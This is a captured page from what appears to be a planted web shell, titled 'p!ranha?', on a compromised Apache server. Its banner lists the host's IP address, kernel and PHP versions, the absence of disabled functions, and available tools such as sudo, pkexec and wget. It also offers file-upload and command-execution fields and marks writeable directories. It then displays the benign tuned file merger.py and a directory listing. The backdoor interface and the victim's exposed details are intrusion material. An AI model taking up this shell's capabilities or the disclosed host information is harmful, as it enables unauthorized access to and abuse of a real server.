p!ranha?
Server IP : 103.169.32.36  /  Your IP : 216.73.217.13
Web Server : Apache
System : Linux web.dpmptsp 3.10.0-1160.119.1.el7.x86_64 #1 SMP Tue Jun 4 14:43:51 UTC 2024 x86_64
User : apache ( 48)
PHP Version : 5.6.40
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /lib/python2.7/site-packages/tuned/profiles/

Upload File :
Curr3nt_D!r [ Writeable ] D0cum3nt_r0Ot [ Writeable ]

 
Command :
Current File : /lib/python2.7/site-packages/tuned/profiles/merger.py
import collections
from functools import reduce

class Merger(object):
	"""
	Tool for merging multiple profiles into one.
	"""

	def __init__(self):
		pass

	def merge(self, configs):
		"""
		Merge multiple configurations into one. If there are multiple units of the same type, option 'devices'
		is set for each unit with respect to eliminating any duplicate devices.
		"""
		merged_config = reduce(self._merge_two, configs)
		return merged_config

	def _merge_two(self, profile_a, profile_b):
		"""
		Merge two profiles. The configuration of units with matching names are updated with options
		from the newer profile. If the 'replace' options of the newer unit is 'True', all options from the
		older unit are dropped.
		"""

		profile_a.options.update(profile_b.options)

		for unit_name, unit in list(profile_b.units.items()):
			if unit.replace or unit_name not in profile_a.units:
				profile_a.units[unit_name] = unit
			else:
				profile_a.units[unit_name].type = unit.type
				profile_a.units[unit_name].enabled = unit.enabled
				profile_a.units[unit_name].devices = unit.devices
				if unit.devices_udev_regex is not None:
					profile_a.units[unit_name].devices_udev_regex = unit.devices_udev_regex
				if unit.script_pre is not None:
					profile_a.units[unit_name].script_pre = unit.script_pre
				if unit.script_post is not None:
					profile_a.units[unit_name].script_post = unit.script_post
				if unit_name == "script" and profile_a.units[unit_name].options.get("script", None) is not None:
					script = profile_a.units[unit_name].options.get("script", None)
					profile_a.units[unit_name].options.update(unit.options)
					profile_a.units[unit_name].options["script"] = script + profile_a.units[unit_name].options["script"]
				else:
					profile_a.units[unit_name].options.update(unit.options)

		return profile_a
N4m3
5!z3
L45t M0d!f!3d
0wn3r / Gr0up
P3Rm!55!0n5
0pt!0n5
..
--
December 20 2023 04:53:14
0 / 0
0755
functions
--
December 20 2023 04:53:14
0 / 0
0755
__init__.py
0.274 KB
March 21 2019 22:10:46
0 / 0
0644
__init__.pyc
0.472 KB
September 21 2022 13:17:58
0 / 0
0644
__init__.pyo
0.472 KB
September 21 2022 13:17:58
0 / 0
0644
exceptions.py
0.093 KB
March 21 2019 22:10:46
0 / 0
0644
exceptions.pyc
0.447 KB
September 21 2022 13:17:58
0 / 0
0644
exceptions.pyo
0.447 KB
September 21 2022 13:17:58
0 / 0
0644
factory.py
0.138 KB
March 21 2019 22:10:46
0 / 0
0644
factory.pyc
0.638 KB
September 21 2022 13:17:58
0 / 0
0644
factory.pyo
0.638 KB
September 21 2022 13:17:58
0 / 0
0644
loader.py
4.133 KB
March 21 2019 22:10:46
0 / 0
0644
loader.pyc
4.986 KB
September 21 2022 13:17:58
0 / 0
0644
loader.pyo
4.986 KB
September 21 2022 13:17:58
0 / 0
0644
locator.py
3.228 KB
March 21 2019 22:10:46
0 / 0
0644
locator.pyc
4.052 KB
September 21 2022 13:17:58
0 / 0
0644
locator.pyo
4.052 KB
September 21 2022 13:17:58
0 / 0
0644
merger.py
1.794 KB
March 21 2019 22:10:46
0 / 0
0644
merger.pyc
2.12 KB
September 21 2022 13:17:58
0 / 0
0644
merger.pyo
2.12 KB
September 21 2022 13:17:58
0 / 0
0644
profile.py
1.107 KB
March 21 2019 22:10:46
0 / 0
0644
profile.pyc
2.427 KB
September 21 2022 13:17:58
0 / 0
0644
profile.pyo
2.427 KB
September 21 2022 13:17:58
0 / 0
0644
unit.py
1.731 KB
March 21 2019 22:10:46
0 / 0
0644
unit.pyc
3.858 KB
September 21 2022 13:17:58
0 / 0
0644
unit.pyo
3.858 KB
September 21 2022 13:17:58
0 / 0
0644
variables.py
2.258 KB
March 21 2019 22:10:46
0 / 0
0644
variables.pyc
3.863 KB
September 21 2022 13:17:58
0 / 0
0644
variables.pyo
3.863 KB
September 21 2022 13:17:58
0 / 0
0644